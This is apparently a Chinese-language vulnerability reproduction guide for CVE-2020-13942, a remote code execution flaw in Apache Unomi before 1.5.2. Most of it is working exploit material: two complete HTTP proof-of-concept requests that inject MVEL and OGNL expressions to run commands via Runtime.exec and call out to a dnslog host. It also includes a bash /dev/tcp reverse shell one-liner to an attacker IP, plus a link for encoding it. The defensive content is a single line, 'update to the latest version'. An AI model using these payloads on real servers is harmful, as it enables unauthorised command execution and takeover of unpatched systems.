Apache Unomi远程代码执行漏洞复现-CVE-2020-13942¶
简介¶
Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验。在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。
CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,并在服务器执行任意代码
影响版本¶
Apache Unomi <1.5.2
漏洞复现¶
通过8181和9443两个端口均可触发漏洞,以下以8181为例。
有两种利用方式:
- 通过MVEL表达式执行任意命令:
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping 79jk3a.dnslog.cn\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
- 通过OGNL表达式执行任意命令:
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"ping 79jk3a.dnslog.cn\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
- 运行如下命令启动一个Apache Unomi 1.5.1的服务器:
docker-compose up -d
- 直接在首页抓包,把内容替换成上面任意一种POC即可
目标出网测试
- 进行反弹shell,将
bash -i >& /dev/tcp/192.168.1.41/7777 0>&1
进行编码,地址:http://www.jackson-t.ca/runtime-exec-payloads.html
- 获取shell
修复建议¶
更新最新版本